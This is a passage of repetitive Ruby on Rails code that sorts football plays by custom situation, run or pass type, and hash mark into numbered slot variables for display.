cus1l_s13 = pcuol3\n when 10 then cus1l_s13 = pcuol2\n when 11 then cus1l_s13 = pcuol1\n when 12 then cus1l_s13 = self.user.s_name12 + ' - Pass'\n when 13..100 then cus1l_s13 = rcuol13\n end\n\n #cus1l_s14\n case num_cus1r\n when 0 then cus1l_s14 = pcuol14 \n when 1 then cus1l_s14 = pcuol12\n when 2 then cus1l_s14 = pcuol11\n when 3 then cus1l_s14 = pcuol10\n when 4 then cus1l_s14 = pcuol9\n when 5 then cus1l_s14 = pcuol8\n when 6 then cus1l_s14 = pcuol7\n when 7 then cus1l_s14 = pcuol6\n when 8 then cus1l_s14 = pcuol5\n when 9 then cus1l_s14 = pcuol4\n when 10 then cus1l_s14 = pcuol3\n when 11 then cus1l_s14 = pcuol2\n when 12 then cus1l_s14 = pcuol1 \n when 13 then cus1l_s14 = self.user.s_name12 + ' - Pass'\n when 14..100 then cus1l_s14 = rcuol14\n end\n\n #cus1l_s15\n case num_cus1r\n when 0 then cus1l_s15 = pcuol15 \n when 1 then cus1l_s15 = pcuol13\n when 2 then cus1l_s15 = pcuol12\n when 3 then cus1l_s15 = pcuol11\n when 4 then cus1l_s15 = pcuol10\n when 5 then cus1l_s15 = pcuol9\n when 6 then cus1l_s15 = pcuol8\n when 7 then cus1l_s15 = pcuol7\n when 8 then cus1l_s15 = pcuol6\n when 9 then cus1l_s15 = pcuol5\n when 10 then cus1l_s15 = pcuol4\n when 11 then cus1l_s15 = pcuol3\n when 12 then cus1l_s15 = pcuol2\n when 13 then cus1l_s15 = pcuol1 \n when 14..100 then cus1l_s15 = rcuol15\n end \n\n\n #Right Hash\n # cus1r_s0 would always be blank\n\n #cus1r_s1 \n if num_cus1r > 0\n cus1r_s1 = rcuor1\n else\n cus1r_s1 = pcuor1\n end\n\n #cus1r_s2\n if num_cus1r == 0\n cus1r_s2 = pcuor2\n elsif num_cus1r == 1\n cus1r_s2 = ''\n else num_cus1r > 1\n cus1r_s2 = rcuor2\n end\n\n #cus1r_s3\n case num_cus1r\n when 0 then cus1r_s3 = pcuor3 \n when 1 then cus1r_s3 = pcuor1\n when 2 then cus1r_s3 = ''\n when 3..100 then cus1r_s3 = rcuor3\n end\n\n #cus1r_s4\n case num_cus1r\n when 0 then cus1r_s4 = pcuor4 \n when 1 then cus1r_s4 = pcuor2\n when 2 then cus1r_s4 = pcuor1\n when 3 then ''\n when 4..100 then cus1r_s4 = rcuor4\n end\n\n #cus1r_s5\n case num_cus1r\n when 0 then cus1r_s5 = pcuor5 \n when 1 then cus1r_s5 = pcuor3\n when 2 then cus1r_s5 = pcuor2\n when 3 then cus1r_s5 = pcuor1\n when 4 then cus1r_s5 = ''\n when 5..100 then cus1r_s5 = rcuor5\n end\n\n #cus1r_s6\n case num_cus1r\n when 0 then cus1r_s6 = pcuor6 \n when 1 then cus1r_s6 = pcuor4\n when 2 then cus1r_s6 = pcuor3\n when 3 then cus1r_s6 = pcuor2\n when 4 then cus1r_s6 = pcuor1\n when 5 then cus1r_s6 = ''\n when 6..100 then cus1r_s6 = rcuor6\n end\n\n #cus1r_s7\n case num_cus1r\n when 0 then cus1r_s7 = pcuor7 \n when 1 then cus1r_s7 = pcuor5\n when 2 then cus1r_s7 = pcuor4\n when 3 then cus1r_s7 = pcuor3\n when 4 then cus1r_s7 = pcuor2\n when 5 then cus1r_s7 = pcuor1\n when 6 then cus1r_s7 = ''\n when 7..100 then cus1r_s7 = rcuor7\n end\n\n #cus1r_s8\n case num_cus1r\n when 0 then cus1r_s8 = pcuor8 \n when 1 then cus1r_s8 = pcuor6\n when 2 then cus1r_s8 = pcuor5\n when 3 then cus1r_s8 = pcuor4\n when 4 then cus1r_s8 = pcuor3\n when 5 then cus1r_s8 = pcuor2\n when 6 then cus1r_s8 = pcuor1\n when 7 then cus1r_s8 = ''\n when 8..100 then cus1r_s8 = rcuor8\n end\n\n #cus1r_s9\n case num_cus1r\n when 0 then cus1r_s9 = pcuor9 \n when 1 then cus1r_s9 = pcuor7\n when 2 then cus1r_s9 = pcuor6\n when 3 then cus1r_s9 = pcuor5\n when 4 then cus1r_s9 = pcuor4\n when 5 then cus1r_s9 = pcuor3\n when 6 then cus1r_s9 = pcuor2\n when 7 then cus1r_s9 = pcuor1\n when 8 then cus1r_s9 = ''\n when 9..100 then cus1r_s9 = rcuor9\n end\n\n #cus1r_s10\n case num_cus1r\n when 0 then cus1r_s10 = pcuor10 \n when 1 then cus1r_s10 = pcuor8\n when 2 then cus1r_s10 = pcuor7\n when 3 then cus1r_s10 = pcuor6\n when 4 then cus1r_s10 = pcuor5\n when 5 then cus1r_s10 = pcuor4\n when 6 then cus1r_s10 = pcuor3\n when 7 then cus1r_s10 = pcuor2\n when 8 then cus1r_s10 = pcuor1\n when 9 then cus1r_s10 = ''\n when 10..100 then cus1r_s10 = rcuor10\n end\n\n #cus1r_s11\n case num_cus1r\n when 0 then cus1r_s11 = pcuor11 \n when 1 then cus1r_s11 = pcuor9\n when 2 then cus1r_s11 = pcuor8\n when 3 then cus1r_s11 = pcuor7\n when 4 then cus1r_s11 = pcuor6\n when 5 then cus1r_s11 = pcuor5\n when 6 then cus1r_s11 = pcuor4\n when 7 then cus1r_s11 = pcuor3\n when 8 then cus1r_s11 = pcuor2\n when 9 then cus1r_s11 = pcuor1\n when 10 then cus1r_s11 = ''\n when 11..100 then cus1r_s11 = rcuor11\n end\n\n #cus1r_s12\n case num_cus1r\n when 0 then cus1r_s12 = pcuor12 \n when 1 then cus1r_s12 = pcuor10\n when 2 then cus1r_s12 = pcuor9\n when 3 then cus1r_s12 = pcuor8\n when 4 then cus1r_s12 = pcuor7\n when 5 then cus1r_s12 = pcuor6\n when 6 then cus1r_s12 = pcuor5\n when 7 then cus1r_s12 = pcuor4\n when 8 then cus1r_s12 = pcuor3\n when 9 then cus1r_s12 = pcuor2\n when 10 then cus1r_s12 = pcuor1\n when 11 then cus1r_s12 = ''\n when 12..100 then cus1r_s12 = rcuor12\n end\n\n #cus1r_s13\n case num_cus1r\n when 0 then cus1r_s13 = pcuor13 \n when 1 then cus1r_s13 = pcuor11\n when 2 then cus1r_s13 = pcuor10\n when 3 then cus1r_s13 = pcuor9\n when 4 then cus1r_s13 = pcuor8\n when 5 then cus1r_s13 = pcuor7\n when 6 then cus1r_s13 = pcuor6\n when 7 then cus1r_s13 = pcuor5\n when 8 then cus1r_s13 = pcuor4\n when 9 then cus1r_s13 = pcuor3\n when 10 then cus1r_s13 = pcuor2\n when 11 then cus1r_s13 = pcuor1\n when 12 then cus1r_s13 = ''\n when 13..100 then cus1r_s13 = rcuor13\n end\n\n #cus1r_s14\n case num_cus1r\n when 0 then cus1r_s14 = pcuor14 \n when 1 then cus1r_s14 = pcuor12\n when 2 then cus1r_s14 = pcuor11\n when 3 then cus1r_s14 = pcuor10\n when 4 then cus1r_s14 = pcuor9\n when 5 then cus1r_s14 = pcuor8\n when 6 then cus1r_s14 = pcuor7\n when 7 then cus1r_s14 = pcuor6\n when 8 then cus1r_s14 = pcuor5\n when 9 then cus1r_s14 = pcuor4\n when 10 then cus1r_s14 = pcuor3\n when 11 then cus1r_s14 = pcuor2\n when 12 then cus1r_s14 = pcuor1 \n when 13 then cus1r_s14 = ''\n when 14..100 then cus1r_s14 = rcuor14\n end\n\n #cus1r_s15\n case num_cus1r\n when 0 then cus1r_s15 = pcuor15 \n when 1 then cus1r_s15 = pcuor13\n when 2 then cus1r_s15 = pcuor12\n when 3 then cus1r_s15 = pcuor11\n when 4 then cus1r_s15 = pcuor10\n when 5 then cus1r_s15 = pcuor9\n when 6 then cus1r_s15 = pcuor8\n when 7 then cus1r_s15 = pcuor7\n when 8 then cus1r_s15 = pcuor6\n when 9 then cus1r_s15 = pcuor5\n when 10 then cus1r_s15 = pcuor4\n when 11 then cus1r_s15 = pcuor3\n when 12 then cus1r_s15 = pcuor2\n when 13 then cus1r_s15 = pcuor1 \n when 14..100 then cus1r_s15 = rcuor15\n end \n #----------End Custom 1---------- \n\n #----------Custom 2----------\n customTwos = event.plays.where('situation13 = ?', true)\n \n runCustomTwos = customTwos.where('play_type = ?', 'Run')\n runCustomTwosLeft = runCustomTwos.where('hash_mark = ?', 'Left')\n runCustomTwosRight = runCustomTwos.where('hash_mark = ?', 'Right')\n \n passCustomTwos = customTwos.where('play_type = ?', 'Pass')\n passCustomTwosLeft = passCustomTwos.where('hash_mark = ?', 'Left')\n passCustomTwosRight = passCustomTwos.where('hash_mark = ?', 'Right')\n\n #Run Left Hash\n unless runCustomTwosLeft[0].nil? \n rcutl1 = runCustomTwosLeft[0].fullname \n end\n unless runCustomTwosLeft[1].nil? \n rcutl2 = runCustomTwosLeft[1].fullname \n end\n unless runCustomTwosLeft[2].nil? \n rcutl3 = runCustomTwosLeft[2].fullname \n end\n unless runCustomTwosLeft[3].nil? \n rcutl4 = runCustomTwosLeft[3].fullname \n end\n unless runCustomTwosLeft[4].nil? \n rcutl5 = runCustomTwosLeft[4].fullname\n end\n unless runCustomTwosLeft[5].nil? \n rcutl6 = runCustomTwosLeft[5].fullname \n end\n unless runCustomTwosLeft[6].nil? \n rcutl7 = runCustomTwosLeft[6].fullname\n end \n unless runCustomTwosLeft[7].nil? \n rcutl8 = runCustomTwosLeft[7].fullname \n end\n unless runCustomTwosLeft[8].nil? \n rcutl9 = runCustomTwosLeft[8].fullname \n end\n unless runCustomTwosLeft[9].nil? \n rcutl10 = runCustomTwosLeft[9].fullname \n end\n unless runCustomTwosLeft[10].nil? \n rcutl11 = runCustomTwosLeft[10].fullname \n end\n unless runCustomTwosLeft[11].nil? \n rcutl12 = runCustomTwosLeft[11].fullname\n end\n unless runCustomTwosLeft[12].nil? \n rcutl13 = runCustomTwosLeft[12].fullname \n end\n unless runCustomTwosLeft[13].nil? \n rcutl14 = runCustomTwosLeft[13].fullname\n end \n unless runCustomTwosLeft[14].nil? \n rcutl15 = runCustomTwosLeft[14].fullname\n end\n\n #Run Right Hash\n unless runCustomTwosRight[0].nil? \n rcutr1 = runCustomTwosRight[0].fullname \n end\n unless runCustomTwosRight[1].nil? \n rcutr2 = runCustomTwosRight[1].fullname \n end\n unless runCustomTwosRight[2].nil? \n rcutr3 = runCustomTwosRight[2].fullname \n end\n unless runCustomTwosRight[3].nil? \n rcutr4 = runCustomTwosRight[3].fullname \n end\n unless runCustomTwosRight[4].nil? \n rcutr5 = runCustomTwosRight[4].fullname\n end\n unless runCustomTwosRight[5].nil? \n rcutr6 = runCustomTwosRight[5].fullname \n end\n unless runCustomTwosRight[6].nil? \n rcutr7 = runCustomTwosRight[6].fullname\n end \n unless runCustomTwosRight[7].nil? \n rcutr8 = runCustomTwosRight[7].fullname \n end\n unless runCustomTwosRight[8].nil? \n rcutr9 = runCustomTwosRight[8].fullname \n end\n unless runCustomTwosRight[9].nil? \n rcutr10 = runCustomTwosRight[9].fullname \n end\n unless runCustomTwosRight[10].nil? \n rcutr11 = runCustomTwosRight[10].fullname \n end\n unless runCustomTwosRight[11].nil? \n rcutr12 = runCustomTwosRight[11].fullname\n end\n unless runCustomTwosRight[12].nil? \n rcutr13 = runCustomTwosRight[12].fullname \n end\n unless runCustomTwosRight[13].nil? \n rcutr14 = runCustomTwosRight[13].fullname\n end \n unless runCustomTwosRight[14].nil? \n rcutr15 = runCustomTwosRight[14].fullname\n end \n\n #Pass Left Hash\n unless passCustomTwosLeft[0].nil? \n pcutl1 = passCustomTwosLeft[0].fullname \n end\n unless passCustomTwosLeft[1].nil? \n pcutl2 = passCustomTwosLeft[1].fullname \n end\n unless passCustomTwosLeft[2].nil? \n pcutl3 = passCustomTwosLeft[2].fullname \n end\n unless passCustomTwosLeft[3].nil? \n pcutl4 = passCustomTwosLeft[3].fullname \n end\n unless passCustomTwosLeft[4].nil? \n pcutl5 = passCustomTwosLeft[4].fullname \n end\n unless passCustomTwosLeft[5].nil? \n pcutl6 = passCustomTwosLeft[5].fullname \n end \n unless passCustomTwosLeft[6].nil? \n pcutl7 = passCustomTwosLeft[6].fullname \n end \n unless passCustomTwosLeft[7].nil? \n pcutl8 = passCustomTwosLeft[7].fullname \n end\n unless passCustomTwosLeft[8].nil? \n pcutl9 = passCustomTwosLeft[8].fullname \n end\n unless passCustomTwosLeft[9].nil? \n pcutl10 = passCustomTwosLeft[9].fullname \n end\n unless passCustomTwosLeft[10].nil? \n pcutl11 = passCustomTwosLeft[10].fullname \n end\n unless passCustomTwosLeft[11].nil? \n pcutl12 = passCustomTwosLeft[11].fullname \n end\n unless passCustomTwosLeft[12].nil? \n pcutl13 = passCustomTwosLeft[12].fullname \n end \n unless passCustomTwosLeft[13].nil? \n pcutl14 = passCustomTwosLeft[13].fullname \n end \n unless passCustomTwosLeft[14].nil? \n pcutl15 = passCustomTwosLeft[14].fullname \n end \n\n #Pass Right Hash\n unless passCustomTwosRight[0].nil? \n pcutr1 = passCustomTwosRight[0].fullname \n end\n unless passCustomTwosRight[1].nil? \n pcutr2 = passCustomTwosRight[1].fullname \n end\n unless passCustomTwosRight[2].nil? \n pcutr3 = passCustomTwosRight[2].fullname \n end\n unless passCustomTwosRight[3].nil? \n pcutr4 = passCustomTwosRight[3].fullname \n end\n unless passCustomTwosRight[4].nil? \n pcutr5 = passCustomTwosRight[4].fullname \n end\n unless passCustomTwosRight[5].nil? \n pcutr6 = passCustomTwosRight[5].fullname \n end\n unless passCustomTwosRight[6].nil? \n pcutr7 = passCustomTwosRight[6].fullname \n end \n unless passCustomTwosRight[7].nil? \n pcutr8 = passCustomTwosRight[7].fullname \n end\n unless passCustomTwosRight[8].nil? \n pcutr9 = passCustomTwosRight[8].fullname \n end\n unless passCustomTwosRight[9].nil? \n pcutr10 = passCustomTwosRight[9].fullname \n end\n unless passCustomTwosRight[10].nil? \n pcutr11 = passCustomTwosRight[10].fullname \n end\n unless passCustomTwosRight[11].nil? \n pcutr12 = passCustomTwosRight[11].fullname \n end\n unless passCustomTwosRight[12].nil? \n pcutr13 = passCustomTwosRight[12].fullname \n end\n unless passCustomTwosRight[13].nil? \n pcutr14 = passCustomTwosRight[13].fullname \n end \n unless passCustomTwosRight[14].nil? \n pcutr15 = passCustomTwosRight[14].fullname \n end \n\n #Number of user's run plays in situation 13\n num_cus2r = self.user.s_name13_num_run\n\n #Left Hash\n # cus2l_s0 \n if num_cus2r > 0\n cus2l_s0 = self.user.s_name13 + ' - Run'\n else\n cus2l_s0 = self.user.s_name13 + ' - Pass'\n end\n\n #cus2l_s1 \n if num_cus2r > 0\n cus2l_s1 = rcutl1\n else\n cus2l_s1 = pcutl1\n end\n\n #cus2l_s2\n if num_cus2r == 0\n cus2l_s2 = pcutl2\n elsif num_cus2r == 1\n cus2l_s2 = self.user.s_name13 + ' - Pass'\n else num_cus2r > 1\n cus2l_s2 = rcutl2\n end\n\n #cus2l_s3\n case num_cus2r\n when 0 then cus2l_s3 = pcutl3 \n when 1 then cus2l_s3 = pcutl1\n when 2 then cus2l_s3 = self.user.s_name13 + ' - Pass'\n when 3..100 then cus2l_s3 = rcutl3\n end\n\n #cus2l_s4\n case num_cus2r\n when 0 then cus2l_s4 = pcutl4 \n when 1 then cus2l_s4 = pcutl2\n when 2 then cus2l_s4 = pcutl1\n when 3 then cus2l_s4 = self.user.s_name13 + ' - Pass'\n when 4..100 then cus2l_s4 = rcutl4\n end\n\n #cus2l_s5\n case num_cus2r\n when 0 then cus2l_s5 = pcutl5 \n when 1 then cus2l_s5 = pcutl3\n when 2 then cus2l_s5 = pcutl2\n when 3 then cus2l_s5 = pcutl1\n when 4 then cus2l_s5 = self.user.s_name13 + ' - Pass'\n when 5..100 then cus2l_s5 = rcutl5\n end\n\n #cus2l_s6\n case num_cus2r\n when 0 then cus2l_s6 = pcutl6 \n when 1 then cus2l_s6 = pcutl4\n when 2 then cus2l_s6 = pcutl3\n when 3 then cus2l_s6 = pcutl2\n when 4 then cus2l_s6 = pcutl1\n when 5 then cus2l_s6 = self.user.s_name13 + ' - Pass'\n when 6..100 then cus2l_s6 = rcutl6\n end\n\n #cus2l_s7\n case num_cus2r\n when 0 then cus2l_s7 = pcutl7 \n when 1 then cus2l_s7 = pcutl5\n when 2 then cus2l_s7 = pcutl4\n when 3 then cus2l_s7 = pcutl3\n when 4 then cus2l_s7 = pcutl2\n when 5 then cus2l_s7 = pcutl1\n when 6 then cus2l_s7 = self.user.s_name13 + ' - Pass'\n when 7..100 then cus2l_s7 = rcutl7\n end\n\n #cus2l_s8\n case num_cus2r\n when 0 then cus2l_s8 = pcutl8 \n when 1 then cus2l_s8 = pcutl6\n when 2 then cus2l_s8 = pcutl5\n when 3 then cus2l_s8 = pcutl4\n when 4 then cus2l_s8 = pcutl3\n when 5 then cus2l_s8 = pcutl2\n when 6 then cus2l_s8 = pcutl1\n when 7 then cus2l_s8 = self.user.s_name13 + ' - Pass'\n when 8..100 then cus2l_s8 = rcutl8\n end\n\n #cus2l_s9\n case num_cus2r\n when 0 then cus2l_s9 = pcutl9 \n when 1 then cus2l_s9 = pcutl7\n when 2 then cus2l_s9 = pcutl6\n when 3 then cus2l_s9 = pcutl5\n when 4 then cus2l_s9 = pcutl4\n when 5 then cus2l_s9 = pcutl3\n when 6 then cus2l_s9 = pcutl2\n when 7 then cus2l_s9 = pcutl1\n when 8 then cus2l_s9 = self.user.s_name13 + ' - Pass'\n when 9..100 then cus2l_s9 = rcutl9\n end\n\n #cus2l_s10\n case num_cus2r\n when 0 then cus2l_s10 = pcutl10 \n when 1 then cus2l_s10 = pcutl8\n when 2 then cus2l_s10 = pcutl7\n when 3 then cus2l_s10 = pcutl6\n when 4 then cus2l_s10 = pcutl5\n when 5 then cus2l_s10 = pcutl4\n when 6 then cus2l_s10 = pcutl3\n when 7 then cus2l_s10 = pcutl2\n when 8 then cus2l_s10 = pcutl1\n when 9 then cus2l_s10 = self.user.s_name13 + ' - Pass'\n when 10..100 then cus2l_s10 = rcutl10\n end\n\n #cus2l_s11\n case num_cus2r\n when 0 then cus2l_s11 = pcutl11 \n when 1 then cus2l_s11 = pcutl9\n when 2 then cus2l_s11 = pcutl8\n when 3 then cus2l_s11 = pcutl7\n when 4 then cus2l_s11 = pcutl6\n when 5 then cus2l_s11 = pcutl5\n when 6 then cus2l_s11 = pcutl4\n when 7 then cus2l_s11 = pcutl3\n when 8 then cus2l_s11 = pcutl2\n when 9 then cus2l_s11 = pcutl1\n when 10 then cus2l_s11 = self.user.s_name13 + ' - Pass'\n when 11..100 then cus2l_s11 = rcutl11\n end\n\n #cus2l_s12\n case num_cus2r\n when 0 then cus2l_s12 = pcutl12 \n when 1 then cus2l_s12 = pcutl10\n when 2 then cus2l_s12 = pcutl9\n when 3 then cus2l_s12 = pcutl8\n when 4 then cus2l_s12 = pcutl7\n when 5 then cus2l_s12 = pcutl6\n when 6 then cus2l_s12 = pcutl5\n when 7 then cus2l_s12 = pcutl4\n when 8 then cus2l_s12 = pcutl3\n when 9 then cus2l_s12 = pcutl2\n when 10 then cus2l_s12 = pcutl1\n when 11 then cus2l_s12 = self.user.s_name13 + ' - Pass'\n when 12..100 then cus2l_s12 = rcutl12\n end\n\n #cus2l_s13\n case num_cus2r\n when 0 then cus2l_s13 = pcutl13 \n when 1 then cus2l_s13 = pcutl11\n when 2 then cus2l_s13 = pcutl10\n when 3 then cus2l_s13 = pcutl9\n when 4 then cus2l_s13 = pcutl8\n when 5 then cus2l_s13 = pcutl7\n when 6 then cus2l_s13 = pcutl6\n when 7 then cus2l_s13 = pcutl5\n when 8 then cus2l_s13 = pcutl4\n when 9 then cus2l_s13 = pcutl3\n when 10 then cus2l_s13 = pcutl2\n when 11 then cus2l_s13 = pcutl1\n when 12 then cus2l_s13 = self.user.s_name13 + ' - Pass'\n when 13..100 then cus2l_s13 = rcutl13\n end\n\n #cus2l_s14\n case num_cus2r\n when 0 then cus2l_s14 = pcutl14 \n when 1 then cus2l_s14 = pcutl12\n when 2 then cus2l_s14 = pcutl11\n when 3 then cus2l_s14 = pcutl10\n when 4 then cus2l_s14 = pcutl9\n when 5 then cus2l_s14 = pcutl8\n when 6 then cus2l_s14 = pcutl7\n when 7 then cus2l_s14 = pcutl6\n when 8 then cus2l_s14 = pcutl5\n when 9 then cus2l_s14 = pcutl4\n when 10 then cus2l_s14 = pcutl3\n when 11 then cus2l_s14 = pcutl2\n when 12 then cus2l_s14 = pcutl1 \n when 13 then cus2l_s14 = self.user.s_name13 + ' - Pass'\n when 14..100 then cus2l_s14 = rcutl14\n end\n\n #cus2l_s15\n case num_cus2r\n when 0 then cus2l_s15 = pcutl15 \n when 1 then cus2l_s15 = pcutl13\n when 2 then cus2l_s15 = pcutl12\n when 3 then cus2l_s15 = pcutl11\n when 4 then cus2l_s15 = pcutl10\n when 5 then cus2l_s15 = pcutl9\n when 6 then cus2l_s15 = pcutl8\n when 7 then cus2l_s15 = pcutl7\n when 8 then cus2l_s15 = pcutl6\n when 9 then cus2l_s15 = pcutl5\n when 10 then cus2l_s15 = pcutl4\n when 11 then cus2l_s15 = pcutl3\n when 12 then cus2l_s15 = pcutl2\n when 13 then cus2l_s15 = pcutl1 \n when 14..100 then cus2l_s15 = rcutl15\n end \n\n\n #Right Hash\n # cus2r_s0 would always be blank\n\n #cus2r_s1 \n if num_cus2r > 0\n cus2r_s1 = rcutr1\n else\n cus2r_s1 = pcutr1\n end\n\n #cus2r_s2\n if num_cus2r == 0\n cus2r_s2 = pcutr2\n elsif num_cus2r == 1\n cus2r_s2 = ''\n else num_cus2r > 1\n cus2r_s2 = rcutr2\n end\n\n #cus2r_s3\n case num_cus2r\n when 0 then cus2r_s3 = pcutr3 \n when 1 then cus2r_s3 = pcutr1\n when 2 then cus2r_s3 = ''\n when 3..100 then cus2r_s3 = rcutr3\n end\n\n #cus2r_s4\n case num_cus2r\n when 0 then cus2r_s4 = pcutr4 \n when 1 then cus2r_s4 = pcutr2\n when 2 then cus2r_s4 = pcutr1\n when 3 then ''\n when 4..100 then cus2r_s4 = rcutr4\n end\n\n #cus2r_s5\n case num_cus2r\n when 0 then cus2r_s5 = pcutr5 \n when 1 then cus2r_s5 = pcutr3\n when 2 then cus2r_s5 = pcutr2\n when 3 then cus2r_s5 = pcutr1\n when 4 then cus2r_s5 = ''\n when 5..100 then cus2r_s5 = rcutr5\n end\n\n #cus2r_s6\n case num_cus2r\n when 0 then cus2r_s6 = pcutr6 \n when 1 then cus2r_s6 = pcutr4\n when 2 then cus2r_s6 = pcutr3\n when 3 then cus2r_s6 = pcutr2\n when 4 then cus2r_s6 = pcutr1\n when 5 then cus2r_s6 = ''\n when 6..100 then cus2r_s6 = rcutr6\n end\n\n #cus2r_s7\n case num_cus2r\n when 0 then cus2r_s7 = pcutr7 \n when 1 then cus2r_s7 = pcutr5\n when 2 then cus2r_s7 = pcutr4\n when 3 then cus2r_s7 = pcutr3\n when 4 then cus2r_s7 = pcutr2\n when 5 then cus2r_s7 = pcutr1\n when 6 then cus2r_s7 = ''\n when 7..100 then cus2r_s7 = rcutr7\n end\n\n #cus2r_s8\n case num_cus2r\n when 0 then cus2r_s8 = pcutr8 \n when 1 then cus2r_s8 = pcutr6\n when 2 then cus2r_s8 = pcutr5\n when 3 then cus2r_s8 = pcutr4\n when 4 then cus2r_s8 = pcutr3\n when 5 then cus2r_s8 = pcutr2\n when 6 then cus2r_s8 = pcutr1\n when 7 then cus2r_s8 = ''\n when 8..100 then cus2r_s8 = rcutr8\n end\n\n #cus2r_s9\n case num_cus2r\n when 0 then cus2r_s9 = pcutr9 \n when 1 then cus2r_s9 = pcutr7\n when 2 then cus2r_s9 = pcutr6\n when 3 then cus2r_s9 = pcutr5\n when 4 then cus2r_s9 = pcutr4\n when 5 then cus2r_s9 = pcutr3\n when 6 then cus2r_s9 = pcutr2\n when 7 then cus2r_s9 = pcutr1\n when 8 then cus2r_s9 = ''\n when 9..100 then cus2r_s9 = rcutr9\n end\n\n #cus2r_s10\n case num_cus2r\n when 0 then cus2r_s10 = pcutr10 \n when 1 then cus2r_s10 = pcutr8\n when 2 then cus2r_s10 = pcutr7\n when 3 then cus2r_s10 = pcutr6\n when 4 then cus2r_s10 = pcutr5\n when 5 then cus2r_s10 = pcutr4\n when 6 then cus2r_s10 = pcutr3\n when 7 then cus2r_s10 = pcutr2\n when 8 then cus2r_s10 = pcutr1\n when 9 then cus2r_s10 = ''\n when 10..100 then cus2r_s10 = rcutr10\n end\n\n #cus2r_s11\n case num_cus2r\n when 0 then cus2r_s11 = pcutr11 \n when 1 then cus2r_s11 = pcutr9\n when 2 then cus2r_s11 = pcutr8\n when 3 then cus2r_s11 = pcutr7\n when 4 then cus2r_s11 = pcutr6\n when 5 then cus2r_s11 = pcutr5\n when 6 then cus2r_s11 = pcutr4\n when 7 then cus2r_s11 = pcutr3\n when 8 then cus2r_s11 = pcutr2\n when 9 then cus2r_s11 = pcutr1\n when 10 then cus2r_s11 = ''\n when 11..100 then cus2r_s11 = rcutr11\n end\n\n #cus2r_s12\n case num_cus2r\n when 0 then cus2r_s12 = pcutr12 \n when 1 then cus2r_s12 = pcutr10\n when 2 then cus2r_s12 = pcutr9\n when 3 then cus2r_s12 = pcutr8\n when 4 then cus2r_s12 = pcutr7\n when 5 then cus2r_s12 = pcutr6\n when 6 then cus2r_s12 = pcutr5\n when 7 then cus2r_s12 = pcutr4\n when 8 then cus2r_s12 = pcutr3\n when 9 then cus2r_s12 = pcutr2\n when 10 then cus2r_s12 = pcutr1\n when 11 then cus2r_s12 = ''\n when 12..100 then cus2r_s12 = rcutr12\n end\n\n #cus2r_s13\n case num_cus2r\n when 0 then cus2r_s13 = pcutr13 \n when 1 then cus2r_s13 = pcutr11\n when 2 then cus2r_s13 = pcutr10\n when 3 then cus2r_s13 = pcutr9\n when 4 then cus2r_s13 = pcutr8\n when 5 then cus2r_s13 = pcutr7\n when 6 then cus2r_s13 = pcutr6\n when 7 then cus2r_s13 = pcutr5\n when 8 then cus2r_s13 = pcutr4\n when 9 then cus2r_s13 = pcutr3\n when 10 then cus2r_s13 = pcutr2\n when 11 then cus2r_s13 = pcutr1\n when 12 then cus2r_s13 = ''\n when 13..100 then cus2r_s13 = rcutr13\n end\n\n #cus2r_s14\n case num_cus2r\n when 0 then cus2r_s14 = pcutr14 \n when 1 then cus2r_s14 = pcutr12\n when 2 then cus2r_s14 = pcutr11\n when 3 then cus2r_s14 = pcutr10\n when 4 then cus2r_s14 = pcutr9\n when 5 then cus2r_s14 = pcutr8\n when 6 then cus2r_s14 = pcutr7\n when 7 then cus2r_s14 = pcutr6\n when 8 then cus2r_s14 = pcutr5\n when 9 then cus2r_s14 = pcutr4\n when 10 then cus2r_s14 = pcutr3\n when 11 then cus2r_s14 = pcutr2\n when 12 then cus2r_s14 = pcutr1 \n when 13 then cus2r_s14 = ''\n when 14..100 then cus2r_s14 = rcutr14\n end\n\n #cus2r_s15\n case num_cus2r\n when 0 then cus2r_s15 = pcutr15 \n when 1 then cus2r_s15 = pcutr13\n when 2 then cus2r_s15 = pcutr12\n when 3 then cus2r_s15 = pcutr11\n when 4 then cus2r_s15 = pcutr10\n when 5 then cus2r_s15 = pcutr9\n when 6 then cus2r_s15 = pcutr8\n when 7 then cus2r_s15 = pcutr7\n when 8 then cus2r_s15 = pcutr6\n when 9 then cus2r_s15 = pcutr5\n when 10 then cus2r_s15 = pcutr4\n when 11 then cus2r_s15 = pcutr3\n when 12 then cus2r_s15 = pcutr2\n when 13 then cus2r_s15 = pcutr1 \n when 14..100 then cus2r_s15 = rcutr15\n end \n #----------End Custom 2---------- \n\n #----------Custom 3----------\n customThrees = event.plays.where('situation14 = ?', true)\n customThreesLeft = customThrees.where('hash_mark = ?', 'Left')\n customThreesRight = customThrees.where('hash_mark = ?', 'Right')\n \n #Left Hash\n unless customThreesLeft[0].nil? \n cuthl1 = customThreesLeft[0].fullname \n end\n unless customThreesLeft[1].nil? \n cuthl2 = customThreesLeft[1].fullname \n end\n unless customThreesLeft[2].nil? \n cuthl3 = customThreesLeft[2].fullname \n end\n unless customThreesLeft[3].nil? \n cuthl4 = customThreesLeft[3].fullname \n end\n unless customThreesLeft[4].nil? \n cuthl5 = customThreesLeft[4].fullname\n end\n unless customThreesLeft[5].nil? \n cuthl6 = customThreesLeft[5].fullname \n end\n unless customThreesLeft[6].nil? \n cuthl7 = customThreesLeft[6].fullname\n end \n unless customThreesLeft[7].nil? \n cuthl8 = customThreesLeft[7].fullname \n end\n unless customThreesLeft[8].nil? \n cuthl9 = customThreesLeft[8].fullname \n end\n unless customThreesLeft[9].nil? \n cuthl10 = customThreesLeft[9].fullname \n end\n unless customThreesLeft[10].nil? \n cuthl11 = customThreesLeft[10].fullname \n end\n unless customThreesLeft[11].nil? \n cuthl12 = customThreesLeft[11].fullname\n end\n unless customThreesLeft[12].nil? \n cuthl13 = customThreesLeft[12].fullname \n end\n unless customThreesLeft[13].nil? \n cuthl14 = customThreesLeft[13].fullname\n end \n unless customThreesLeft[14].nil? \n cuthl15 = customThreesLeft[14].fullname\n end \n\n #Right Hash\n unless customThreesRight[0].nil? \n cuthr1 = customThreesRight[0].fullname \n end\n unless customThreesRight[1].nil? \n cuthr2 = customThreesRight[1].fullname \n end\n unless customThreesRight[2].nil? \n cuthr3 = customThreesRight[2].fullname \n end\n unless customThreesRight[3].nil? \n cuthr4 = customThreesRight[3].fullname \n end\n unless customThreesRight[4].nil? \n cuthr5 = customThreesRight[4].fullname\n end\n unless customThreesRight[5].nil? \n cuthr6 = customThreesRight[5].fullname \n end\n unless customThreesRight[6].nil? \n cuthr7 = customThreesRight[6].fullname\n end \n unless customThreesRight[7].nil? \n cuthr8 = customThreesRight[7].fullname \n end\n unless customThreesRight[8].nil? \n cuthr9 = customThreesRight[8].fullname \n end\n unless 